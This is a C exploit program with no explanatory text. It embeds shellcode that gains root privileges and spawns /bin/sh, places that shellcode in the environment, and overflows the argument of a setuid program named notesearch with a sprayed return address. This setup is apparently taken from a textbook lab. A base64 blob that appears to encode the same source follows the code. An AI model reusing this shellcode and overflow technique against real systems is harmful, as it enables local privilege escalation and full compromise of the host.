#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;
char *buffer = (char *) malloc(160);
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
for(i=0; i < 160; i+=4)
*((unsigned int *)(buffer+i)) = ret;
execle("./notesearch", "notesearch", buffer, 0, env);
free(buffer);
}
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CgpjaGFyIHNoZWxsY29kZVtdPSAKIlx4MzFceGMwXHgzMVx4ZGJceDMxXHhjOVx4OTlceGIwXHhhNFx4Y2RceDgwXHg2YVx4MGJceDU4XHg1MVx4NjgiCiJceDJmXHgyZlx4NzNceDY4XHg2OFx4MmZceDYyXHg2OVx4NmVceDg5XHhlM1x4NTFceDg5XHhlMlx4NTNceDg5IgoiXHhlMVx4Y2RceDgwIjsKCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsKCWNoYXIgKmVudlsyXSA9IHtzaGVsbGNvZGUsIDB9OwoJdW5zaWduZWQgaW50IGksIHJldDsKCgljaGFyICpidWZmZXIgPSAoY2hhciAqKSBtYWxsb2MoMTYwKTsKCglyZXQgPSAweGJmZmZmZmZhIC0gKHNpemVvZihzaGVsbGNvZGUpLTEpIC0gc3RybGVuKCIuL25vdGVzZWFyY2giKTsKCWZvcihpPTA7IGkgPCAxNjA7IGkrPTQpCgkJKigodW5zaWduZWQgaW50ICopKGJ1ZmZlcitpKSkgPSByZXQ7CgoJZXhlY2xlKCIuL25vdGVzZWFyY2giLCAibm90ZXNlYXJjaCIsIGJ1ZmZlciwgMCwgZW52KTsKCWZyZWUoYnVmZmVyKTsKfQ==